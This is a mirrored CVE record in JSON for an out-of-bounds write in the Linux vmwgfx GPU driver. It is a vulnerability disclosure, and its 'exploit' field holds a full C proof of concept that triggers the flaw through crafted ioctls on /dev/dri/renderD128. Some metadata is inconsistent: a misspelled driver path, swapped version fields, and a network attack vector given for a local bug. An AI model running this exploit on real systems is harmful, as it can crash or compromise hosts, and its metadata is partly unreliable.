mirror of
https://github.com/CVEProject/cvelist.git
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104 lines
6.4 KiB
JSON
104 lines
6.4 KiB
JSON
{
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"CVE_data_meta": {
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"AKA": "Anolis",
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"ASSIGNER": "security@openanolis.org",
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"DATE_PUBLIC": "2022-09-06T07:00:00.000Z",
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"ID": "CVE-2022-36280",
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"STATE": "PUBLIC",
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"TITLE": "There is an out-of-bounds write vulnerability in vmwgfx driver"
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},
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"affects": {
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"vendor": {
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"vendor_data": [
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{
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"product": {
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"product_data": [
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{
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"product_name": "kernel",
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"version": {
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"version_data": [
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{
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"version_affected": ">=",
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"version_name": "5.13.0-52",
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"version_value": "v3.2-rc1"
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}
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]
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}
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}
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]
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},
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"vendor_name": "Linux"
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}
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]
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}
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},
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"credit": [
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{
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"lang": "eng",
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"value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
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}
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],
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"data_format": "MITRE",
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"data_type": "CVE",
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"data_version": "4.0",
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"description": {
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"description_data": [
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{
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"lang": "eng",
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"value": "An out-of-bounds(OOB) memory access vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_kms.c in GPU component in the Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
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}
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]
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},
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"exploit": [
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{
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"lang": "eng",
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"value": "#include <stdio.h>\n#include <string.h>\n#include <unistd.h>\n#include <errno.h>\n\n#include <linux/if_tun.h>\n#include <net/if.h>\n#include <sys/ioctl.h>\n#include <sys/types.h>\n#include <sys/stat.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <sys/socket.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdlib.h>\n#include <sys/ioctl.h>\n#include <errno.h>\n#include <stdio.h>\n#include <fcntl.h>\n#include <pthread.h>\n#include <stdio.h>\n#include <sys/types.h>\n#include <stdint.h>\n#include <netinet/ip.h>\n#include <sys/resource.h>\n#include <sys/syscall.h>\n#include <limits.h>\n#include <sys/mman.h>\n\n#include <linux/fs.h>\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n {\n printf(\"open tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n \n}\nvoid poc(int handle,int sid){\nchar *vaddr=(unsigned long)mmap(NULL,\n 0x2000,\n PROT_READ | PROT_WRITE,\n MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE /* important */,\n-1, 0);\n\t\n\t if (mlock((void *)vaddr, 0x2000) == -1) {\n printf(\"[-] failed to lock memory (%s), aborting!\\n\",\n strerror(errno));\n }\n \n memset(vaddr,\"a\",0x2000); \nint cmd[0x1000]={0};\ncmd[0]=1044;\ncmd[1]=0x50;\ncmd[2]=handle;\ncmd[3]=0;\ncmd[5]=sid;\ncmd[6]=0;\ncmd[7]=0;\ncmd[13]=1;\ncmd[12]=0x2000;\ncmd[14]=1;\ncmd[19]=12;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=1; \n if (ioctl(fd, 0x4028644C, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n\n}\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\n return arg[2]; \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, &arg) == -1)\n {\n printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n return -1;\n }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint handle=alloc_bo();\n int sid = create_surface(); \n printf(\"%d\",sid); \n poc(handle,sid); \n \n}\n\n\n"
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}
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],
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"generator": {
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"engine": "Vulnogram 0.0.9"
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},
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"impact": {
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"cvss": {
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"attackComplexity": "LOW",
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"attackVector": "NETWORK",
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"availabilityImpact": "HIGH",
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"baseScore": 6.3,
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"baseSeverity": "MEDIUM",
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"confidentialityImpact": "NONE",
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"integrityImpact": "LOW",
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"privilegesRequired": "LOW",
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"scope": "UNCHANGED",
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"userInteraction": "REQUIRED",
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
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"version": "3.1"
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}
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},
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"problemtype": {
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"problemtype_data": [
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{
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"description": [
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{
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"lang": "eng",
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"value": "CWE-120 Buffer Overflow"
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}
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]
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}
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]
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},
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"references": {
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"reference_data": [
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{
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"refsource": "MISC",
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"url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071",
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"name": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"
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}
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]
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},
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"source": {
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"defect": [
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"https://bugzilla.openanolis.cn/show_bug.cgi?id=2071"
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],
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"discovery": "INTERNAL"
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}
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} |